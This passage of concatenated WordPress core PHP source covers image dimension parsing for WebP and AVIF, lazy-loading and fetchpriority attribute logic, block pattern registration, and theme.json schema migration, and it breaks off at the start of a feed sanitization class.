		! ( empty( $info[0] ) && empty( $info[1] ) )
	) {
		return $info;
	}

	/*
	 * For PHP versions that don't support WebP images,
	 * extract the image size info from the file headers.
	 */
	if ( 'image/webp' === wp_get_image_mime( $filename ) ) {
		$webp_info = wp_get_webp_info( $filename );
		$width     = $webp_info['width'];
		$height    = $webp_info['height'];

		// Mimic the native return format.
		if ( $width && $height ) {
			return array(
				$width,
				$height,
				IMAGETYPE_WEBP,
				sprintf(
					'width="%d" height="%d"',
					$width,
					$height
				),
				'mime' => 'image/webp',
			);
		}
	}

	// For PHP versions that don't support AVIF images, extract the image size info from the file headers.
	if ( 'image/avif' === wp_get_image_mime( $filename ) ) {
		$avif_info = wp_get_avif_info( $filename );

		$width  = $avif_info['width'];
		$height = $avif_info['height'];

		// Mimic the native return format.
		if ( $width && $height ) {
			return array(
				$width,
				$height,
				IMAGETYPE_AVIF,
				sprintf(
					'width="%d" height="%d"',
					$width,
					$height
				),
				'mime' => 'image/avif',
			);
		}
	}

	// The image could not be parsed.
	return false;
}

/**
 * Extracts meta information about an AVIF file: width, height, bit depth, and number of channels.
 *
 * @since 6.5.0
 *
 * @param string $filename Path to an AVIF file.
 * @return array {
 *    An array of AVIF image information.
 *
 *    @type int|false $width        Image width on success, false on failure.
 *    @type int|false $height       Image height on success, false on failure.
 *    @type int|false $bit_depth    Image bit depth on success, false on failure.
 *    @type int|false $num_channels Image number of channels on success, false on failure.
 * }
 */
function wp_get_avif_info( $filename ) {
	$results = array(
		'width'        => false,
		'height'       => false,
		'bit_depth'    => false,
		'num_channels' => false,
	);

	if ( 'image/avif' !== wp_get_image_mime( $filename ) ) {
		return $results;
	}

	// Parse the file using libavifinfo's PHP implementation.
	require_once ABSPATH . WPINC . '/class-avif-info.php';

	$handle = fopen( $filename, 'rb' );
	if ( $handle ) {
		$parser  = new Avifinfo\Parser( $handle );
		$success = $parser->parse_ftyp() && $parser->parse_file();
		fclose( $handle );
		if ( $success ) {
			$results = $parser->features->primary_item_features;
		}
	}
	return $results;
}

/**
 * Extracts meta information about a WebP file: width, height, and type.
 *
 * @since 5.8.0
 *
 * @param string $filename Path to a WebP file.
 * @return array {
 *     An array of WebP image information.
 *
 *     @type int|false    $width  Image width on success, false on failure.
 *     @type int|false    $height Image height on success, false on failure.
 *     @type string|false $type   The WebP type: one of 'lossy', 'lossless' or 'animated-alpha'.
 *                                False on failure.
 * }
 */
function wp_get_webp_info( $filename ) {
	$width  = false;
	$height = false;
	$type   = false;

	if ( 'image/webp' !== wp_get_image_mime( $filename ) ) {
		return compact( 'width', 'height', 'type' );
	}

	$magic = file_get_contents( $filename, false, null, 0, 40 );

	if ( false === $magic ) {
		return compact( 'width', 'height', 'type' );
	}

	// Make sure we got enough bytes.
	if ( strlen( $magic ) < 40 ) {
		return compact( 'width', 'height', 'type' );
	}

	/*
	 * The headers are a little different for each of the three formats.
	 * Header values based on WebP docs, see https://developers.google.com/speed/webp/docs/riff_container.
	 */
	switch ( substr( $magic, 12, 4 ) ) {
		// Lossy WebP.
		case 'VP8 ':
			$parts  = unpack( 'v2', substr( $magic, 26, 4 ) );
			$width  = (int) ( $parts[1] & 0x3FFF );
			$height = (int) ( $parts[2] & 0x3FFF );
			$type   = 'lossy';
			break;
		// Lossless WebP.
		case 'VP8L':
			$parts  = unpack( 'C4', substr( $magic, 21, 4 ) );
			$width  = (int) ( $parts[1] | ( ( $parts[2] & 0x3F ) << 8 ) ) + 1;
			$height = (int) ( ( ( $parts[2] & 0xC0 ) >> 6 ) | ( $parts[3] << 2 ) | ( ( $parts[4] & 0x03 ) << 10 ) ) + 1;
			$type   = 'lossless';
			break;
		// Animated/alpha WebP.
		case 'VP8X':
			// Pad 24-bit int.
			$width = unpack( 'V', substr( $magic, 24, 3 ) . "\x00" );
			$width = (int) ( $width[1] & 0xFFFFFF ) + 1;
			// Pad 24-bit int.
			$height = unpack( 'V', substr( $magic, 27, 3 ) . "\x00" );
			$height = (int) ( $height[1] & 0xFFFFFF ) + 1;
			$type   = 'animated-alpha';
			break;
	}

	return compact( 'width', 'height', 'type' );
}

/**
 * Gets loading optimization attributes.
 *
 * This function returns an array of attributes that should be merged into the given attributes array to optimize
 * loading performance. Potential attributes returned by this function are:
 * - `loading` attribute with a value of "lazy"
 * - `fetchpriority` attribute with a value of "high"
 * - `decoding` attribute with a value of "async"
 *
 * If any of these attributes are already present in the given attributes, they will not be modified. Note that no
 * element should have both `loading="lazy"` and `fetchpriority="high"`, so the function will trigger a warning in case
 * both attributes are present with those values.
 *
 * @since 6.3.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param string $tag_name The tag name.
 * @param array  $attr     Array of the attributes for the tag.
 * @param string $context  Context for the element for which the loading optimization attribute is requested.
 * @return array Loading optimization attributes.
 */
function wp_get_loading_optimization_attributes( $tag_name, $attr, $context ) {
	global $wp_query;

	/**
	 * Filters whether to short-circuit loading optimization attributes.
	 *
	 * Returning an array from the filter will effectively short-circuit the loading of optimization attributes,
	 * returning that value instead.
	 *
	 * @since 6.4.0
	 *
	 * @param array|false $loading_attrs False by default, or array of loading optimization attributes to short-circuit.
	 * @param string      $tag_name      The tag name.
	 * @param array       $attr          Array of the attributes for the tag.
	 * @param string      $context       Context for the element for which the loading optimization attribute is requested.
	 */
	$loading_attrs = apply_filters( 'pre_wp_get_loading_optimization_attributes', false, $tag_name, $attr, $context );

	if ( is_array( $loading_attrs ) ) {
		return $loading_attrs;
	}

	$loading_attrs = array();

	/*
	 * Skip lazy-loading for the overall block template, as it is handled more granularly.
	 * The skip is also applicable for `fetchpriority`.
	 */
	if ( 'template' === $context ) {
		/** This filter is documented in wp-includes/media.php */
		return apply_filters( 'wp_get_loading_optimization_attributes', $loading_attrs, $tag_name, $attr, $context );
	}

	// For now this function only supports images and iframes.
	if ( 'img' !== $tag_name && 'iframe' !== $tag_name ) {
		/** This filter is documented in wp-includes/media.php */
		return apply_filters( 'wp_get_loading_optimization_attributes', $loading_attrs, $tag_name, $attr, $context );
	}

	/*
	 * Skip programmatically created images within content blobs as they need to be handled together with the other
	 * images within the post content or widget content.
	 * Without this clause, they would already be considered within their own context which skews the image count and
	 * can result in the first post content image being lazy-loaded or an image further down the page being marked as a
	 * high priority.
	 */
	if (
		'the_content' !== $context && doing_filter( 'the_content' ) ||
		'widget_text_content' !== $context && doing_filter( 'widget_text_content' ) ||
		'widget_block_content' !== $context && doing_filter( 'widget_block_content' )
	) {
		/** This filter is documented in wp-includes/media.php */
		return apply_filters( 'wp_get_loading_optimization_attributes', $loading_attrs, $tag_name, $attr, $context );

	}

	/*
	 * Add `decoding` with a value of "async" for every image unless it has a
	 * conflicting `decoding` attribute already present.
	 */
	if ( 'img' === $tag_name ) {
		if ( isset( $attr['decoding'] ) ) {
			$loading_attrs['decoding'] = $attr['decoding'];
		} else {
			$loading_attrs['decoding'] = 'async';
		}
	}

	// For any resources, width and height must be provided, to avoid layout shifts.
	if ( ! isset( $attr['width'], $attr['height'] ) ) {
		/** This filter is documented in wp-includes/media.php */
		return apply_filters( 'wp_get_loading_optimization_attributes', $loading_attrs, $tag_name, $attr, $context );
	}

	/*
	 * The key function logic starts here.
	 */
	$maybe_in_viewport    = null;
	$increase_count       = false;
	$maybe_increase_count = false;

	// Logic to handle a `loading` attribute that is already provided.
	if ( isset( $attr['loading'] ) ) {
		/*
		 * Interpret "lazy" as not in viewport. Any other value can be
		 * interpreted as in viewport (realistically only "eager" or `false`
		 * to force-omit the attribute are other potential values).
		 */
		if ( 'lazy' === $attr['loading'] ) {
			$maybe_in_viewport = false;
		} else {
			$maybe_in_viewport = true;
		}
	}

	// Logic to handle a `fetchpriority` attribute that is already provided.
	if ( isset( $attr['fetchpriority'] ) && 'high' === $attr['fetchpriority'] ) {
		/*
		 * If the image was already determined to not be in the viewport (e.g.
		 * from an already provided `loading` attribute), trigger a warning.
		 * Otherwise, the value can be interpreted as in viewport, since only
		 * the most important in-viewport image should have `fetchpriority` set
		 * to "high".
		 */
		if ( false === $maybe_in_viewport ) {
			_doing_it_wrong(
				__FUNCTION__,
				__( 'An image should not be lazy-loaded and marked as high priority at the same time.' ),
				'6.3.0'
			);
			/*
			 * Set `fetchpriority` here for backward-compatibility as we should
			 * not override what a developer decided, even though it seems
			 * incorrect.
			 */
			$loading_attrs['fetchpriority'] = 'high';
		} else {
			$maybe_in_viewport = true;
		}
	}

	if ( null === $maybe_in_viewport ) {
		$header_enforced_contexts = array(
			'template_part_' . WP_TEMPLATE_PART_AREA_HEADER => true,
			'get_header_image_tag' => true,
		);

		/**
		 * Filters the header-specific contexts.
		 *
		 * @since 6.4.0
		 *
		 * @param array $default_header_enforced_contexts Map of contexts for which elements should be considered
		 *                                                in the header of the page, as $context => $enabled
		 *                                                pairs. The $enabled should always be true.
		 */
		$header_enforced_contexts = apply_filters( 'wp_loading_optimization_force_header_contexts', $header_enforced_contexts );

		// Consider elements with these header-specific contexts to be in viewport.
		if ( isset( $header_enforced_contexts[ $context ] ) ) {
			$maybe_in_viewport    = true;
			$maybe_increase_count = true;
		} elseif ( ! is_admin() && in_the_loop() && is_main_query() ) {
			/*
			 * Get the content media count, since this is a main query
			 * content element. This is accomplished by "increasing"
			 * the count by zero, as the only way to get the count is
			 * to call this function.
			 * The actual count increase happens further below, based
			 * on the `$increase_count` flag set here.
			 */
			$content_media_count = wp_increase_content_media_count( 0 );
			$increase_count      = true;

			// If the count so far is below the threshold, `loading` attribute is omitted.
			if ( $content_media_count < wp_omit_loading_attr_threshold() ) {
				$maybe_in_viewport = true;
			} else {
				$maybe_in_viewport = false;
			}
		} elseif (
			// Only apply for main query but before the loop.
			$wp_query->before_loop && $wp_query->is_main_query()
			/*
			 * Any image before the loop, but after the header has started should not be lazy-loaded,
			 * except when the footer has already started which can happen when the current template
			 * does not include any loop.
			 */
			&& did_action( 'get_header' ) && ! did_action( 'get_footer' )
			) {
			$maybe_in_viewport    = true;
			$maybe_increase_count = true;
		}
	}

	/*
	 * If the element is in the viewport (`true`), potentially add
	 * `fetchpriority` with a value of "high". Otherwise, i.e. if the element
	 * is not not in the viewport (`false`) or it is unknown (`null`), add
	 * `loading` with a value of "lazy".
	 */
	if ( $maybe_in_viewport ) {
		$loading_attrs = wp_maybe_add_fetchpriority_high_attr( $loading_attrs, $tag_name, $attr );
	} else {
		// Only add `loading="lazy"` if the feature is enabled.
		if ( wp_lazy_loading_enabled( $tag_name, $context ) ) {
			$loading_attrs['loading'] = 'lazy';
		}
	}

	/*
	 * If flag was set based on contextual logic above, increase the content
	 * media count, either unconditionally, or based on whether the image size
	 * is larger than the threshold.
	 */
	if ( $increase_count ) {
		wp_increase_content_media_count();
	} elseif ( $maybe_increase_count ) {
		/** This filter is documented in wp-includes/media.php */
		$wp_min_priority_img_pixels = apply_filters( 'wp_min_priority_img_pixels', 50000 );

		if ( $wp_min_priority_img_pixels <= $attr['width'] * $attr['height'] ) {
			wp_increase_content_media_count();
		}
	}

	/**
	 * Filters the loading optimization attributes.
	 *
	 * @since 6.4.0
	 *
	 * @param array  $loading_attrs The loading optimization attributes.
	 * @param string $tag_name      The tag name.
	 * @param array  $attr          Array of the attributes for the tag.
	 * @param string $context       Context for the element for which the loading optimization attribute is requested.
	 */
	return apply_filters( 'wp_get_loading_optimization_attributes', $loading_attrs, $tag_name, $attr, $context );
}

/**
 * Gets the threshold for how many of the first content media elements to not lazy-load.
 *
 * This function runs the {@see 'wp_omit_loading_attr_threshold'} filter, which uses a default threshold value of 3.
 * The filter is only run once per page load, unless the `$force` parameter is used.
 *
 * @since 5.9.0
 *
 * @param bool $force Optional. If set to true, the filter will be (re-)applied even if it already has been before.
 *                    Default false.
 * @return int The number of content media elements to not lazy-load.
 */
function wp_omit_loading_attr_threshold( $force = false ) {
	static $omit_threshold;

	// This function may be called multiple times. Run the filter only once per page load.
	if ( ! isset( $omit_threshold ) || $force ) {
		/**
		 * Filters the threshold for how many of the first content media elements to not lazy-load.
		 *
		 * For these first content media elements, the `loading` attribute will be omitted. By default, this is the case
		 * for only the very first content media element.
		 *
		 * @since 5.9.0
		 * @since 6.3.0 The default threshold was changed from 1 to 3.
		 *
		 * @param int $omit_threshold The number of media elements where the `loading` attribute will not be added. Default 3.
		 */
		$omit_threshold = apply_filters( 'wp_omit_loading_attr_threshold', 3 );
	}

	return $omit_threshold;
}

/**
 * Increases an internal content media count variable.
 *
 * @since 5.9.0
 * @access private
 *
 * @param int $amount Optional. Amount to increase by. Default 1.
 * @return int The latest content media count, after the increase.
 */
function wp_increase_content_media_count( $amount = 1 ) {
	static $content_media_count = 0;

	$content_media_count += $amount;

	return $content_media_count;
}

/**
 * Determines whether to add `fetchpriority='high'` to loading attributes.
 *
 * @since 6.3.0
 * @access private
 *
 * @param array  $loading_attrs Array of the loading optimization attributes for the element.
 * @param string $tag_name      The tag name.
 * @param array  $attr          Array of the attributes for the element.
 * @return array Updated loading optimization attributes for the element.
 */
function wp_maybe_add_fetchpriority_high_attr( $loading_attrs, $tag_name, $attr ) {
	// For now, adding `fetchpriority="high"` is only supported for images.
	if ( 'img' !== $tag_name ) {
		return $loading_attrs;
	}

	if ( isset( $attr['fetchpriority'] ) ) {
		/*
		 * While any `fetchpriority` value could be set in `$loading_attrs`,
		 * for consistency we only do it for `fetchpriority="high"` since that
		 * is the only possible value that WordPress core would apply on its
		 * own.
		 */
		if ( 'high' === $attr['fetchpriority'] ) {
			$loading_attrs['fetchpriority'] = 'high';
			wp_high_priority_element_flag( false );
		}

		return $loading_attrs;
	}

	// Lazy-loading and `fetchpriority="high"` are mutually exclusive.
	if ( isset( $loading_attrs['loading'] ) && 'lazy' === $loading_attrs['loading'] ) {
		return $loading_attrs;
	}

	if ( ! wp_high_priority_element_flag() ) {
		return $loading_attrs;
	}

	/**
	 * Filters the minimum square-pixels threshold for an image to be eligible as the high-priority image.
	 *
	 * @since 6.3.0
	 *
	 * @param int $threshold Minimum square-pixels threshold. Default 50000.
	 */
	$wp_min_priority_img_pixels = apply_filters( 'wp_min_priority_img_pixels', 50000 );

	if ( $wp_min_priority_img_pixels <= $attr['width'] * $attr['height'] ) {
		$loading_attrs['fetchpriority'] = 'high';
		wp_high_priority_element_flag( false );
	}

	return $loading_attrs;
}

/**
 * Accesses a flag that indicates if an element is a possible candidate for `fetchpriority='high'`.
 *
 * @since 6.3.0
 * @access private
 *
 * @param bool $value Optional. Used to change the static variable. Default null.
 * @return bool Returns true if high-priority element was marked already, otherwise false.
 */
function wp_high_priority_element_flag( $value = null ) {
	static $high_priority_element = true;

	if ( is_bool( $value ) ) {
		$high_priority_element = $value;
	}

	return $high_priority_element;
}
<?php
/**
 * Register the block patterns and block patterns categories
 *
 * @package WordPress
 * @since 5.5.0
 */

add_theme_support( 'core-block-patterns' );

/**
 * Registers the core block patterns and categories.
 *
 * @since 5.5.0
 * @since 6.3.0 Added source to core block patterns.
 * @access private
 */
function _register_core_block_patterns_and_categories() {
	$should_register_core_patterns = get_theme_support( 'core-block-patterns' );

	if ( $should_register_core_patterns ) {
		$core_block_patterns = array(
			'query-standard-posts',
			'query-medium-posts',
			'query-small-posts',
			'query-grid-posts',
			'query-large-title-posts',
			'query-offset-posts',
			'social-links-shared-background-color',
		);

		foreach ( $core_block_patterns as $core_block_pattern ) {
			$pattern           = require __DIR__ . '/block-patterns/' . $core_block_pattern . '.php';
			$pattern['source'] = 'core';
			register_block_pattern( 'core/' . $core_block_pattern, $pattern );
		}
	}

	register_block_pattern_category( 'banner', array( 'label' => _x( 'Banners', 'Block pattern category' ) ) );
	register_block_pattern_category(
		'buttons',
		array(
			'label'       => _x( 'Buttons', 'Block pattern category' ),
			'description' => __( 'Patterns that contain buttons and call to actions.' ),
		)
	);
	register_block_pattern_category(
		'columns',
		array(
			'label'       => _x( 'Columns', 'Block pattern category' ),
			'description' => __( 'Multi-column patterns with more complex layouts.' ),
		)
	);
	register_block_pattern_category(
		'text',
		array(
			'label'       => _x( 'Text', 'Block pattern category' ),
			'description' => __( 'Patterns containing mostly text.' ),
		)
	);
	register_block_pattern_category(
		'query',
		array(
			'label'       => _x( 'Posts', 'Block pattern category' ),
			'description' => __( 'Display your latest posts in lists, grids or other layouts.' ),
		)
	);
	register_block_pattern_category(
		'featured',
		array(
			'label'       => _x( 'Featured', 'Block pattern category' ),
			'description' => __( 'A set of high quality curated patterns.' ),
		)
	);
	register_block_pattern_category(
		'call-to-action',
		array(
			'label'       => _x( 'Call to Action', 'Block pattern category' ),
			'description' => __( 'Sections whose purpose is to trigger a specific action.' ),
		)
	);
	register_block_pattern_category(
		'team',
		array(
			'label'       => _x( 'Team', 'Block pattern category' ),
			'description' => __( 'A variety of designs to display your team members.' ),
		)
	);
	register_block_pattern_category(
		'testimonials',
		array(
			'label'       => _x( 'Testimonials', 'Block pattern category' ),
			'description' => __( 'Share reviews and feedback about your brand/business.' ),
		)
	);
	register_block_pattern_category(
		'services',
		array(
			'label'       => _x( 'Services', 'Block pattern category' ),
			'description' => __( 'Briefly describe what your business does and how you can help.' ),
		)
	);
	register_block_pattern_category(
		'contact',
		array(
			'label'       => _x( 'Contact', 'Block pattern category' ),
			'description' => __( 'Display your contact information.' ),
		)
	);
	register_block_pattern_category(
		'about',
		array(
			'label'       => _x( 'About', 'Block pattern category' ),
			'description' => __( 'Introduce yourself.' ),
		)
	);
	register_block_pattern_category(
		'portfolio',
		array(
			'label'       => _x( 'Portfolio', 'Block pattern category' ),
			'description' => __( 'Showcase your latest work.' ),
		)
	);
	register_block_pattern_category(
		'gallery',
		array(
			'label'       => _x( 'Gallery', 'Block pattern category' ),
			'description' => __( 'Different layouts for displaying images.' ),
		)
	);
	register_block_pattern_category(
		'media',
		array(
			'label'       => _x( 'Media', 'Block pattern category' ),
			'description' => __( 'Different layouts containing video or audio.' ),
		)
	);
	register_block_pattern_category(
		'videos',
		array(
			'label'       => _x( 'Videos', 'Block pattern category' ),
			'description' => __( 'Different layouts containing videos.' ),
		)
	);
	register_block_pattern_category(
		'audio',
		array(
			'label'       => _x( 'Audio', 'Block pattern category' ),
			'description' => __( 'Different layouts containing audio.' ),
		)
	);
	register_block_pattern_category(
		'posts',
		array(
			'label'       => _x( 'Posts', 'Block pattern category' ),
			'description' => __( 'Display your latest posts in lists, grids or other layouts.' ),
		)
	);
	register_block_pattern_category(
		'footer',
		array(
			'label'       => _x( 'Footers', 'Block pattern category' ),
			'description' => __( 'A variety of footer designs displaying information and site navigation.' ),
		)
	);
	register_block_pattern_category(
		'header',
		array(
			'label'       => _x( 'Headers', 'Block pattern category' ),
			'description' => __( 'A variety of header designs displaying your site title and navigation.' ),
		)
	);
}

/**
 * Normalize the pattern properties to camelCase.
 *
 * The API's format is snake_case, `register_block_pattern()` expects camelCase.
 *
 * @since 6.2.0
 * @access private
 *
 * @param array $pattern Pattern as returned from the Pattern Directory API.
 * @return array Normalized pattern.
 */
function wp_normalize_remote_block_pattern( $pattern ) {
	if ( isset( $pattern['block_types'] ) ) {
		$pattern['blockTypes'] = $pattern['block_types'];
		unset( $pattern['block_types'] );
	}

	if ( isset( $pattern['viewport_width'] ) ) {
		$pattern['viewportWidth'] = $pattern['viewport_width'];
		unset( $pattern['viewport_width'] );
	}

	return (array) $pattern;
}

/**
 * Register Core's official patterns from wordpress.org/patterns.
 *
 * @since 5.8.0
 * @since 5.9.0 The $current_screen argument was removed.
 * @since 6.2.0 Normalize the pattern from the API (snake_case) to the
 *              format expected by `register_block_pattern` (camelCase).
 * @since 6.3.0 Add 'pattern-directory/core' to the pattern's 'source'.
 *
 * @param WP_Screen $deprecated Unused. Formerly the screen that the current request was triggered from.
 */
function _load_remote_block_patterns( $deprecated = null ) {
	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '5.9.0' );
		$current_screen = $deprecated;
		if ( ! $current_screen->is_block_editor ) {
			return;
		}
	}

	$supports_core_patterns = get_theme_support( 'core-block-patterns' );

	/**
	 * Filter to disable remote block patterns.
	 *
	 * @since 5.8.0
	 *
	 * @param bool $should_load_remote
	 */
	$should_load_remote = apply_filters( 'should_load_remote_block_patterns', true );

	if ( $supports_core_patterns && $should_load_remote ) {
		$request         = new WP_REST_Request( 'GET', '/wp/v2/pattern-directory/patterns' );
		$core_keyword_id = 11; // 11 is the ID for "core".
		$request->set_param( 'keyword', $core_keyword_id );
		$response = rest_do_request( $request );
		if ( $response->is_error() ) {
			return;
		}
		$patterns = $response->get_data();

		foreach ( $patterns as $pattern ) {
			$pattern['source']  = 'pattern-directory/core';
			$normalized_pattern = wp_normalize_remote_block_pattern( $pattern );
			$pattern_name       = 'core/' . sanitize_title( $normalized_pattern['title'] );
			register_block_pattern( $pattern_name, $normalized_pattern );
		}
	}
}

/**
 * Register `Featured` (category) patterns from wordpress.org/patterns.
 *
 * @since 5.9.0
 * @since 6.2.0 Normalized the pattern from the API (snake_case) to the
 *              format expected by `register_block_pattern()` (camelCase).
 * @since 6.3.0 Add 'pattern-directory/featured' to the pattern's 'source'.
 */
function _load_remote_featured_patterns() {
	$supports_core_patterns = get_theme_support( 'core-block-patterns' );

	/** This filter is documented in wp-includes/block-patterns.php */
	$should_load_remote = apply_filters( 'should_load_remote_block_patterns', true );

	if ( ! $should_load_remote || ! $supports_core_patterns ) {
		return;
	}

	$request         = new WP_REST_Request( 'GET', '/wp/v2/pattern-directory/patterns' );
	$featured_cat_id = 26; // This is the `Featured` category id from pattern directory.
	$request->set_param( 'category', $featured_cat_id );
	$response = rest_do_request( $request );
	if ( $response->is_error() ) {
		return;
	}
	$patterns = $response->get_data();
	$registry = WP_Block_Patterns_Registry::get_instance();
	foreach ( $patterns as $pattern ) {
		$pattern['source']  = 'pattern-directory/featured';
		$normalized_pattern = wp_normalize_remote_block_pattern( $pattern );
		$pattern_name       = sanitize_title( $normalized_pattern['title'] );
		// Some patterns might be already registered as core patterns with the `core` prefix.
		$is_registered = $registry->is_registered( $pattern_name ) || $registry->is_registered( "core/$pattern_name" );
		if ( ! $is_registered ) {
			register_block_pattern( $pattern_name, $normalized_pattern );
		}
	}
}

/**
 * Registers patterns from Pattern Directory provided by a theme's
 * `theme.json` file.
 *
 * @since 6.0.0
 * @since 6.2.0 Normalized the pattern from the API (snake_case) to the
 *              format expected by `register_block_pattern()` (camelCase).
 * @since 6.3.0 Add 'pattern-directory/theme' to the pattern's 'source'.
 * @access private
 */
function _register_remote_theme_patterns() {
	/** This filter is documented in wp-includes/block-patterns.php */
	if ( ! apply_filters( 'should_load_remote_block_patterns', true ) ) {
		return;
	}

	if ( ! wp_theme_has_theme_json() ) {
		return;
	}

	$pattern_settings = wp_get_theme_directory_pattern_slugs();
	if ( empty( $pattern_settings ) ) {
		return;
	}

	$request         = new WP_REST_Request( 'GET', '/wp/v2/pattern-directory/patterns' );
	$request['slug'] = $pattern_settings;
	$response        = rest_do_request( $request );
	if ( $response->is_error() ) {
		return;
	}
	$patterns          = $response->get_data();
	$patterns_registry = WP_Block_Patterns_Registry::get_instance();
	foreach ( $patterns as $pattern ) {
		$pattern['source']  = 'pattern-directory/theme';
		$normalized_pattern = wp_normalize_remote_block_pattern( $pattern );
		$pattern_name       = sanitize_title( $normalized_pattern['title'] );
		// Some patterns might be already registered as core patterns with the `core` prefix.
		$is_registered = $patterns_registry->is_registered( $pattern_name ) || $patterns_registry->is_registered( "core/$pattern_name" );
		if ( ! $is_registered ) {
			register_block_pattern( $pattern_name, $normalized_pattern );
		}
	}
}

/**
 * Register any patterns that the active theme may provide under its
 * `./patterns/` directory.
 *
 * @since 6.0.0
 * @since 6.1.0 The `postTypes` property was added.
 * @since 6.2.0 The `templateTypes` property was added.
 * @since 6.4.0 Uses the `WP_Theme::get_block_patterns` method.
 * @access private
 */
function _register_theme_block_patterns() {

	/*
	 * During the bootstrap process, a check for active and valid themes is run.
	 * If no themes are returned, the theme's functions.php file will not be loaded,
	 * which can lead to errors if patterns expect some variables or constants to
	 * already be set at this point, so bail early if that is the case.
	 */
	if ( empty( wp_get_active_and_valid_themes() ) ) {
		return;
	}

	/*
	 * Register patterns for the active theme. If the theme is a child theme,
	 * let it override any patterns from the parent theme that shares the same slug.
	 */
	$themes   = array();
	$theme    = wp_get_theme();
	$themes[] = $theme;
	if ( $theme->parent() ) {
		$themes[] = $theme->parent();
	}
	$registry = WP_Block_Patterns_Registry::get_instance();

	foreach ( $themes as $theme ) {
		$patterns    = $theme->get_block_patterns();
		$dirpath     = $theme->get_stylesheet_directory() . '/patterns/';
		$text_domain = $theme->get( 'TextDomain' );

		foreach ( $patterns as $file => $pattern_data ) {
			if ( $registry->is_registered( $pattern_data['slug'] ) ) {
				continue;
			}

			$file_path = $dirpath . $file;

			if ( ! file_exists( $file_path ) ) {
				_doing_it_wrong(
					__FUNCTION__,
					sprintf(
						/* translators: %s: file name. */
						__( 'Could not register file "%s" as a block pattern as the file does not exist.' ),
						$file
					),
					'6.4.0'
				);
				$theme->delete_pattern_cache();
				continue;
			}

			$pattern_data['filePath'] = $file_path;

			// Translate the pattern metadata.
			// phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain,WordPress.WP.I18n.LowLevelTranslationFunction
			$pattern_data['title'] = translate_with_gettext_context( $pattern_data['title'], 'Pattern title', $text_domain );
			if ( ! empty( $pattern_data['description'] ) ) {
				// phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain,WordPress.WP.I18n.LowLevelTranslationFunction
				$pattern_data['description'] = translate_with_gettext_context( $pattern_data['description'], 'Pattern description', $text_domain );
			}

			register_block_pattern( $pattern_data['slug'], $pattern_data );
		}
	}
}
add_action( 'init', '_register_theme_block_patterns' );
<?php
/**
 * WP_Theme_JSON_Schema class
 *
 * @package WordPress
 * @subpackage Theme
 * @since 5.9.0
 */

/**
 * Class that migrates a given theme.json structure to the latest schema.
 *
 * This class is for internal core usage and is not supposed to be used by extenders (plugins and/or themes).
 * This is a low-level API that may need to do breaking changes. Please,
 * use get_global_settings, get_global_styles, and get_global_stylesheet instead.
 *
 * @since 5.9.0
 * @access private
 */
#[AllowDynamicProperties]
class WP_Theme_JSON_Schema {

	/**
	 * Maps old properties to their new location within the schema's settings.
	 * This will be applied at both the defaults and individual block levels.
	 */
	const V1_TO_V2_RENAMED_PATHS = array(
		'border.customRadius'         => 'border.radius',
		'spacing.customMargin'        => 'spacing.margin',
		'spacing.customPadding'       => 'spacing.padding',
		'typography.customLineHeight' => 'typography.lineHeight',
	);

	/**
	 * Function that migrates a given theme.json structure to the last version.
	 *
	 * @since 5.9.0
	 *
	 * @param array $theme_json The structure to migrate.
	 *
	 * @return array The structure in the last version.
	 */
	public static function migrate( $theme_json ) {
		if ( ! isset( $theme_json['version'] ) ) {
			$theme_json = array(
				'version' => WP_Theme_JSON::LATEST_SCHEMA,
			);
		}

		if ( 1 === $theme_json['version'] ) {
			$theme_json = self::migrate_v1_to_v2( $theme_json );
		}

		return $theme_json;
	}

	/**
	 * Removes the custom prefixes for a few properties
	 * that were part of v1:
	 *
	 * 'border.customRadius'         => 'border.radius',
	 * 'spacing.customMargin'        => 'spacing.margin',
	 * 'spacing.customPadding'       => 'spacing.padding',
	 * 'typography.customLineHeight' => 'typography.lineHeight',
	 *
	 * @since 5.9.0
	 *
	 * @param array $old Data to migrate.
	 *
	 * @return array Data without the custom prefixes.
	 */
	private static function migrate_v1_to_v2( $old ) {
		// Copy everything.
		$new = $old;

		// Overwrite the things that changed.
		if ( isset( $old['settings'] ) ) {
			$new['settings'] = self::rename_paths( $old['settings'], self::V1_TO_V2_RENAMED_PATHS );
		}

		// Set the new version.
		$new['version'] = 2;

		return $new;
	}

	/**
	 * Processes the settings subtree.
	 *
	 * @since 5.9.0
	 *
	 * @param array $settings        Array to process.
	 * @param array $paths_to_rename Paths to rename.
	 *
	 * @return array The settings in the new format.
	 */
	private static function rename_paths( $settings, $paths_to_rename ) {
		$new_settings = $settings;

		// Process any renamed/moved paths within default settings.
		self::rename_settings( $new_settings, $paths_to_rename );

		// Process individual block settings.
		if ( isset( $new_settings['blocks'] ) && is_array( $new_settings['blocks'] ) ) {
			foreach ( $new_settings['blocks'] as &$block_settings ) {
				self::rename_settings( $block_settings, $paths_to_rename );
			}
		}

		return $new_settings;
	}

	/**
	 * Processes a settings array, renaming or moving properties.
	 *
	 * @since 5.9.0
	 *
	 * @param array $settings        Reference to settings either defaults or an individual block's.
	 * @param array $paths_to_rename Paths to rename.
	 */
	private static function rename_settings( &$settings, $paths_to_rename ) {
		foreach ( $paths_to_rename as $original => $renamed ) {
			$original_path = explode( '.', $original );
			$renamed_path  = explode( '.', $renamed );
			$current_value = _wp_array_get( $settings, $original_path, null );

			if ( null !== $current_value ) {
				_wp_array_set( $settings, $renamed_path, $current_value );
				self::unset_setting_by_path( $settings, $original_path );
			}
		}
	}

	/**
	 * Removes a property from within the provided settings by its path.
	 *
	 * @since 5.9.0
	 *
	 * @param array $settings Reference to the current settings array.
	 * @param array $path Path to the property to be removed.
	 */
	private static function unset_setting_by_path( &$settings, $path ) {
		$tmp_settings = &$settings;
		$last_key     = array_pop( $path );
		foreach ( $path as $key ) {
			$tmp_settings = &$tmp_settings[ $key ];
		}

		unset( $tmp_settings[ $last_key ] );
	}
}
<?php
/**
 * Feed API: WP_SimplePie_Sanitize_KSES class
 *
 * @package WordPress
 * @subpackage Feed
 * @since 4.7.0
 */

/**
 * Core class used to implement SimplePie feed sanitization.
 *
 * Extends the SimplePie_Sanitize class to use KSES, because
 * we cannot universally count on DOMDocument being available.
 *
 * @since 3.5.0
 */
#[AllowDynamicProperties]
class WP_SimplePie_Sanitize_KSES extends SimplePie_Sanitize {

	/**
